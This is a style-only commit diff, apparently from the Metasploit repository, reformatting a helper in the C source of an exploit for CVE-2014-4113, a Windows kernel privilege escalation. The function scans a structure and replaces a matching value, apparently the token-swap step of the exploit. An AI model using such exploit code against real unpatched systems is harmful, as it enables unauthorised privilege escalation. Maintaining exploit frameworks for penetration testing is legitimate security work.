Skip to content

Commit 203af90

Browse files
committed
Fix style
1 parent 0c23733 commit 203af90

File tree

1 file changed

+6
-7
lines changed

1 file changed

+6
-7
lines changed

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 6 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -146,10 +146,7 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
146146

147147

148148
// Search the specified data structure for a member with CurrentValue.
149-
BOOL find_and_replace_member(PMYWORD pdwStructure,
150-
MYWORD dwCurrentValue,
151-
MYWORD dwNewValue,
152-
MYWORD dwMaxSize)
149+
BOOL find_and_replace_member(PMYWORD pdwStructure, MYWORD dwCurrentValue, MYWORD dwNewValue, MYWORD dwMaxSize)
153150
{
154151
MYWORD dwIndex, dwMask;
155152

@@ -160,12 +157,14 @@ BOOL find_and_replace_member(PMYWORD pdwStructure,
160157
#else
161158
dwMask = ~7;
162159
#endif
163-
// Mask out the reference count.
160+
// dwMask out the reference count.
164161
dwCurrentValue &= dwMask;
165162

166163
// Scan the structure for any occurrence of CurrentValue.
167-
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++) {
168-
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue) {
164+
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
165+
{
166+
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
167+
{
169168
// And finally, replace it with NewValue.
170169
pdwStructure[dwIndex] = dwNewValue;
171170
return TRUE;

0 commit comments

Comments
 (0)